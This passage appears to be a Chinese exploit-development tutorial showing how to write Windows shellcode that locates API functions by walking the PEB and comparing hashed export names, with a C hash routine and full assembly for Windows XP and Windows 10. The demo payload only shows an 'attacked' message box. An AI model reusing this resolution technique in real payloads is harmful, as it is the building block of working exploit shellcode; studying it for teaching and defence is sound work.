下面我们将给 shellcode 加入自动定位 API 的功能。为了实现弹出消息框并显示“attacked”的功能,需要使用如下 API 函数。
(1)MessageBoxA 位于 user32.dll 中,用于弹出消息框。
(2)ExitProcess 位于 kernel32.dll 中,用于正常退出程序。
(3)LoadLibraryA 位于 kernel32.dll 中。并不是所有的程序都会装载 user32.dll,所以在我们调用 MessageBoxA 之前,应该先使用 LoadLibrary(“user32.dll”)装载其所属的动态链接库。
通过前面介绍的 win_32 平台下搜索 API 地址的办法,我们可以从 FS 所指的线程环境块开始,一直追溯到动态链接库的函数名导出表,在其中搜索出所需的 API 函数是第几个,然后在函数偏移地址(RVA)导出表中找到这个地址。
由于 shellcode 最终是要放进缓冲区的,为了让 shellcode 更加通用,能被大多数缓冲区容纳,我们总是希望 shellcode 尽可能短。因此,在函数名导出表中搜索函数名的时候,一般情况下并不会用“MessageBoxA”这么长的字符串去进行直接比较。
通常情况下,我们会对所需的 API 函数名进行 hash 运算,在搜索导出表时对当前遇到的函数名也进行同样的 hash,这样只要比较 hash 所得的摘要(digest)就能判定是不是我们所需的 API了。虽然这种搜索方法需要引入额外的 hash 算法,但是可以节省出存储函数名字符串的代码。
本节实验中所用 hash 函数的 C 代码如下。
#include <stdio.h>
#include<stdlib.h>
unsigned int GetHash(char *fun_name)
{
unsigned int digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7));
digest+= *fun_name ;
fun_name++;
}
return digest;
}
int main(int argc,char **args)
{
unsigned int hash;
if(argc!=2)
{
fprintf(stderr,"Error argument\n");
exit(1);
}
hash= GetHash(args[1]);
printf("result of hash is %08X\n",hash);
}
在将 hash 压入栈中之前,注意先将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 中的字串处理方向发生变化而产生错误(如指令 LODSD)。如果您在堆溢出利用中发现原本身经百战的 shellcode 在运行时出错,很可能就是这个原因。总之,一个字节的指令可以大大增加 shellcode 的通用性。
现在可以将这些 hash 结果压入栈中,并用一个寄存器标识位置,以备后面搜索 API 函数时使用。
;储存hash值
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
然后实现下面的代码。
//测试环境:Windows XP + vs2010
//编译选项:无
//注:在Win10中无效,原因下面会讲到
int main()
{
__asm
{
//eax 作为计算寄存器
//edi 储存动态库基址
//edx 用来做要装载函数的地址偏移
//注:找到的函数入口地址在代码中是直接覆盖掉原来存hash值的地方
cld //清除df标志位
push ebp
mov ebp,esp
xor edx,edx
dec edx //用edx来做计数器,初始值为-1
//储存hash值
push 0x0c917432 //LoadLibraryA的hash值
push 0x4fd18963 //ExitProcess的hash值
push 0x1e380a6a //MessageBoxA的hash值
//找到kernel32.dll的基地址
mov eax, fs:[0x30] //获取PEB基址
mov eax, [eax + 0x0c] //获取PEB_LDR_DATA结构指针
mov eax, [eax + 0x1c] //获取InInitializationOrderModuleList成员指针
//order list
mov eax, [eax] //获取双向链表当前节点的后继指针
//(kernel32.dll)
mov edi, [eax + 0x08] //取其基地址,该结构当前包含的是kernel32.dll
find_lib_functions:
mov eax,[ebp+edx*4] //处理第(-(edx))个需要获得的函数
cmp eax, 0x1e380a6a //MessageBoxA的hash值,如果是MessageBoxA
//则在找它之前
//先要运行LoadLibrary("user32")来装载user32.dll
jne find_functions
//装载user32.dll
push edx //保护edx,否则执行LoadLibrary时会破坏edx
//push a pointer to "user32" onto stack
push 0x00003233
push 0x72657375 //把"user32"压入栈中
push esp //把"user32"在栈中的地址压入栈中
call [ebp - 1*4] //调用第一个函数LoadLibraryA()
add esp,8 //恢复栈区,由于LoadLibraryA函数是fastcall调用,所以不需要
//父程序来恢复栈区
pop edx //恢复edx
mov edi,eax //把user32.dll的基地址给edi
find_functions:
mov eax, [edi + 0x3c] //获得PE头偏移
mov eax, [edi + eax + 0x78] //获得导出表指针偏移
mov ecx,[edi + eax + 0x24] //获得函数名字列表与函数入口偏移地址列表的对应表指针偏移
add ecx,edi //获得函数名字列表与函数入口偏移地址列表的对应表指针
push ecx //保存函数名字列表与函数入口偏移地址列表的对应表指针
mov ecx,[edi + eax + 0x1c] //获得函数入口偏移列表地址偏移
add ecx,edi //获得函数入口偏移列表地址
push ecx //保存函数入口偏移列表地址
mov eax,[edi + eax + 0x20] //获得函数列表名指针偏移
mov esi,edi //寄存器不够用了,临时使用下
add esi,eax //获得函数列表名指针
xor ecx,ecx //计数器清0
next_function_loop:
mov eax,[esi+ecx*4] //获得第(ecx的值)个函数名字字符串指针的偏移
add eax,edi //获得第(ecx的值)个函数名字字符串指针
push ecx //保存状态,因为要用ecx用来做新的计数器
mov ecx,eax
xor ebx,ebx //清0,用来储存计算好的hash值
hash_loop:
movsx eax,byte ptr[ecx]
cmp al,ah //判断ax是否为0,也即是字符串是否结束
jz compare_hash
ror ebx,7
add ebx,eax
inc ecx
jmp hash_loop
compare_hash:
pop ecx //恢复状态
inc ecx //增加计数器
cmp ebx,[ebp+edx*4] //判断hash值是否为栈区的第(-(edx))个值
jnz next_function_loop
dec ecx //如果是的话就进行下一个值的处理
pop eax //恢复函数入口偏移列表地址
pop ebx //恢复函数名字列表与函数入口偏移地址列表的对应表指针
mov cx,[ebx+ecx*2] //用函数名字列表与函数入口偏移地址列表的对应表 来找相应函数的入口地址
mov eax,[eax + ecx*4] //
add eax,edi //获得函数入口地址
mov [ebp+edx*4],eax //保存函数入口地址到栈区的第(-(edx))个位置
sub edx,1
cmp edx,0xfffffffc //-4,这里仅仅执行三次
jne find_lib_functions
function_cal1:
xor ebx,ebx
push ebx //截断字符
push 0x64656B63
push 0x61747461 //把'attacked'入栈
mov eax,esp //获得’attached‘的地址
push ebx //0
push eax
push eax
push ebx //0
call[ebp - 3*4] //调用MessageBoxA
push ebx
call[ebp - 2*4] //调用ExitProcess
}
}
因为在Win10中,ntdll.dll和kernel32.dll库中间还有一个kernelbase.dll库,Xp是没有的,所以上面的代码在Win10跑会出错,而且Win10的VS2017对汇编的支持力度不够,用cl.exe编译的话,会出现hash_loop无定义的问题,所以下面的代码我用汇编来实现。
测试环境:Win10 + vs2017
编译选项:无
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.15.26726.0
.686P ;接受全部Pentium Pro指令
.XMM ;接受MMX指令
include listing.inc
.model flat ;创建一个32位的程序,运行在IA-32微处理器的32位Windows操作系统
assume fs:nothing ;在使用fs寄存器的时候先assume fs:nothing
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC _main
_TEXT SEGMENT
_main PROC
;eax 作为计算寄存器
;edi 储存动态库基址
;edx 用来做要装载函数的地址偏移
;注:找到的函数入口地址在代码中是直接覆盖掉原来存hash值的地方
cld ;清除df标志位
push ebp
mov ebp,esp
xor edx,edx
dec edx ;用edx来做计数器,初始值为-1
;储存hash值
push 0c917432h ;LoadLibraryA的hash值
push 4fd18963h ;ExitProcess的hash值
push 1e380a6ah ;MessageBoxA的hash值
;找到kernel32.dll的基地址
mov eax, fs:[30h] ;获取PEB基址
mov eax, [eax + 0ch] ;获取PEB_LDR_DATA结构指针
mov eax, [eax + 1ch] ;获取InInitializationOrderModuleList成员指针
;order list
mov eax, [eax] ;获取双向链表当前节点的后继指针
;(KernelBase.dll)
mov eax, [eax] ;获取双向链表当前节点的后继指针
;(kernel32.dll)
mov edi, [eax + 08h] ;取其基地址,该结构当前包含的是kernel32.dll
find_lib_functions:
mov eax,[ebp+edx*4] ;处理第(-(edx))个需要获得的函数
cmp eax, 1e380a6ah ;MessageBoxA的hash值,如果是MessageBoxA
;则在找它之前
;先要运行LoadLibrary("user32")来装载user32.dll
jne find_functions
;装载user32.dll
push edx ;保护edx,否则执行LoadLibrary时会破坏edx
;push a pointer to "user32" onto stack
push 00003233h
push 72657375h ;把"user32��"压入栈中
push esp ;把"user32��"在栈中的地址压入栈中
call dword ptr [ebp - 1*4] ;调用第一个函数LoadLibraryA()
add esp,8 ;恢复栈区,由于LoadLibraryA函数是fastcall调用,所以不需要
;父程序来恢复栈区
pop edx ;恢复edx
mov edi,eax ;把user32.dll的基地址给edi
find_functions:
mov eax, [edi + 3ch] ;获得PE头偏移
mov eax, [edi + eax + 78h] ;获得导出表指针偏移
mov ecx,[edi + eax + 24h] ;获得函数名字列表与函数入口偏移地址列表的对应表指针偏移
add ecx,edi ;获得函数名字列表与函数入口偏移地址列表的对应表指针
push ecx ;保存函数名字列表与函数入口偏移地址列表的对应表指针
mov ecx,[edi + eax + 1ch] ;获得函数入口偏移列表地址偏移
add ecx,edi ;获得函数入口偏移列表地址
push ecx ;保存函数入口偏移列表地址
mov eax,[edi + eax + 20h] ;获得函数列表名指针偏移
mov esi,edi ;寄存器不够用了,临时使用下
add esi,eax ;获得函数列表名指针
xor ecx,ecx ;计数器清0
next_function_loop:
mov eax,[esi+ecx*4] ;获得第(ecx的值)个函数名字字符串指针的偏移
add eax,edi ;获得第(ecx的值)个函数名字字符串指针
push ecx ;保存状态,因为要用ecx用来做新的计数器
mov ecx,eax
xor ebx,ebx ;清0,用来储存计算好的hash值
hash_loop:
movsx eax,byte ptr[ecx]
cmp al,ah ;判断ax是否为0,也即是字符串是否结束
jz compare_hash
ror ebx,7
add ebx,eax
inc ecx
jmp hash_loop
compare_hash:
pop ecx ;恢复状态
inc ecx ;增加计数器
cmp ebx,[ebp+edx*4] ;判断hash值是否为栈区的第(-(edx))个值
jnz next_function_loop
dec ecx ;如果是的话就进行下一个值的处理
pop eax ;恢复函数入口偏移列表地址
pop ebx ;恢复函数名字列表与函数入口偏移地址列表的对应表指针
mov cx,[ebx+ecx*2] ;用函数名字列表与函数入口偏移地址列表的对应表 来找相应函数的入口地址
mov eax,[eax + ecx*4] ;
add eax,edi ;获得函数入口地址
mov [ebp+edx*4],eax ;保存函数入口地址到栈区的第(-(edx))个位置
sub edx,1
cmp edx,0fffffffch ;-4,这里仅仅执行三次
jne find_lib_functions
function_cal1:
xor ebx,ebx
push ebx ;截断字符
push 64656B63h
push 61747461h ;把'attacked'入栈
mov eax,esp ;获得’attached‘的地址
push ebx ;0
push eax
push eax
push ebx ;0
call dword ptr [ebp - 3*4] ;调用MessageBoxA
push ebx
call dword ptr [ebp - 2*4] ;调用ExitProcess
_main ENDP
_TEXT ENDS
END